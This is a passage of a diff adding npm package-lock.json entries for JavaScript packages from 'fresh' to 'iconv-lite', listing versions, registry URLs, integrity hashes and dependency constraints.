"sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/frontend-collective-react-dnd-scrollzone": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/frontend-collective-react-dnd-scrollzone/-/frontend-collective-react-dnd-scrollzone-1.0.2.tgz", + "integrity": "sha512-me/D9PZJq9j/sjEjs/OPmm6V6nbaHbhgeQiwrWu0t35lhwAOKWc+QBzzKKcZQeboYTkgE8UvCD9el+5ANp+g5Q==", + "dependencies": { + "hoist-non-react-statics": "^3.1.0", + "lodash.throttle": "^4.0.1", + "prop-types": "^15.5.9", + "raf": "^3.2.0", + "react": "^16.3.0", + "react-display-name": "^0.2.0", + "react-dom": "^16.3.0" + }, + "peerDependencies": { + "react-dnd": "^7.3.0" + } + }, + "node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz", + "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==", + "dev": true + }, + "node_modules/fs-readdir-recursive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", + "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", + "dev": true + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "dev": true + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stdin": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", + "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" + }, + "node_modules/global": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", + "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==", + "dependencies": { + "min-document": "^2.19.0", + "process": "^0.11.10" + } + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globby/node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/globby/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/globjoin": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/globjoin/-/globjoin-0.1.4.tgz", + "integrity": "sha1-L0SUrIkZ43Z8XLtpHp9GMyQoXUM=", + "dev": true + }, + "node_modules/gonzales-pe": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/gonzales-pe/-/gonzales-pe-4.3.0.tgz", + "integrity": "sha512-otgSPpUmdWJ43VXyiNgEYE4luzHCL2pz4wQ0OnDluC6Eg4Ko3Vexy/SrSynglw/eR+OhkzmqFCZa/OFa/RgAOQ==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "gonzales": "bin/gonzales.js" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "dev": true + }, + "node_modules/hard-rejection": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/hard-rejection/-/hard-rejection-2.1.0.tgz", + "integrity": "sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", + "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/history": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/history/-/history-4.10.1.tgz", + "integrity": "sha512-36nwAD620w12kuzPAsyINPWJqlNbij+hpK1k9XRloDtym8mxzGYl2c17LnV6IAGB2Dmg4tEa7G7DlawS0+qjew==", + "dependencies": { + "@babel/runtime": "^7.1.2", + "loose-envify": "^1.2.0", + "resolve-pathname": "^3.0.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0", + "value-equal": "^1.0.1" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/hoist-non-react-statics/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/hosted-git-info": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/html-entities": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz", + "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA==", + "dev": true + }, + "node_modules/html-loader": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/html-loader/-/html-loader-0.5.5.tgz", + "integrity": "sha512-7hIW7YinOYUpo//kSYcPB6dCKoceKLmOwjEMmhIobHuWGDVl0Nwe4l68mdG/Ru0wcUxQjVMEoZpkalZ/SE7zog==", + "dev": true, + "dependencies": { + "es6-templates": "^0.2.3", + "fastparse": "^1.1.1", + "html-minifier": "^3.5.8", + "loader-utils": "^1.1.0", + "object-assign": "^4.1.1" + } + }, + "node_modules/html-loader/node_modules/json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/html-loader/node_modules/loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/html-minifier": { + "version": "3.5.21", + "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz", + "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==", + "dev": true, + "dependencies": { + "camel-case": "3.0.x", + "clean-css": "4.2.x", + "commander": "2.17.x", + "he": "1.2.x", + "param-case": "2.1.x", + "relateurl": "0.2.x", + "uglify-js": "3.4.x" + }, + "bin": { + "html-minifier": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/html-minifier-terser": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-YXxSlJBZTP7RS3tWnQw74ooKa6L9b9i9QYXY21eUEvhZ3u9XLfv6OnFsQq6RxkhHygsaUMvYsZRV5rU/OVNZxw==", + "dev": true, + "dependencies": { + "camel-case": "^4.1.2", + "clean-css": "^5.2.2", + "commander": "^8.3.0", + "he": "^1.2.0", + "param-case": "^3.0.4", + "relateurl": "^0.2.7", + "terser": "^5.10.0" + }, + "bin": { + "html-minifier-terser": "cli.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-minifier-terser/node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/html-minifier-terser/node_modules/clean-css": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.0.tgz", + "integrity": "sha512-YYuuxv4H/iNb1Z/5IbMRoxgrzjWGhOEFfd+groZ5dMCVkpENiMZmwspdrzBo9286JjM1gZJPAyL7ZIdzuvu2AQ==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/html-minifier-terser/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "dev": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/html-minifier-terser/node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/html-minifier-terser/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/html-minifier-terser/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/html-minifier/node_modules/commander": { + "version": "2.17.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz", + "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==", + "dev": true + }, + "node_modules/html-tags": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.1.0.tgz", + "integrity": "sha512-1qYz89hW3lFDEazhjW0yVAV87lw8lVkrJocr72XmBkMKsoSVJCQx3W8BXsC7hO2qAt8BoVjYjtAcZ9perqGnNg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/html-webpack-plugin": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz", + "integrity": "sha512-sy88PC2cRTVxvETRgUHFrL4No3UxvcH8G1NepGhqaTT+GXN2kTamqasot0inS5hXeg1cMbFDt27zzo9p35lZVw==", + "dev": true, + "dependencies": { + "@types/html-minifier-terser": "^6.0.0", + "html-minifier-terser": "^6.0.2", + "lodash": "^4.17.21", + "pretty-error": "^4.0.0", + "tapable": "^2.0.0" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/html-webpack-plugin" + }, + "peerDependencies": { + "webpack": "^5.20.0" + } + }, + "node_modules/htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=", + "dev": true + }, + "node_modules/http-errors": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.8.1.tgz", + "integrity": "sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==", + "dev": true, + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/http-parser-js": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.6.tgz", + "integrity": "sha512-vDlkRPDJn93swjcjqMSaGSPABbIarsr1TLAui/gLDXzV5VsJNdXNzMYDyNBLQkjWQCJ1uizu8T2oDMhmGt0PRA==", + "dev": true + }, + "node_modules/http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "dev": true, + "dependencies": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/http-proxy-middleware": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz", + "integrity": "sha512-m/4FxX17SUvz4lJ5WPXOHDUuCwIqXLfLHs1s0uZ3oYjhoXlx9csYxaOa0ElDEJ+h8Q4iJ1s+lTMbiCa4EXIJqg==", + "dev": true, + "dependencies": { + "@types/http-proxy": "^1.17.8", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "@types/express": "^4.17.13" + }, + "peerDependenciesMeta": { + "@types/express": { + "optional": true + } + } + }, + "node_modules/http-proxy-middleware/node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "dev": true, + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/hyphenate-style-name": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz", + "integrity": "sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ==" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": 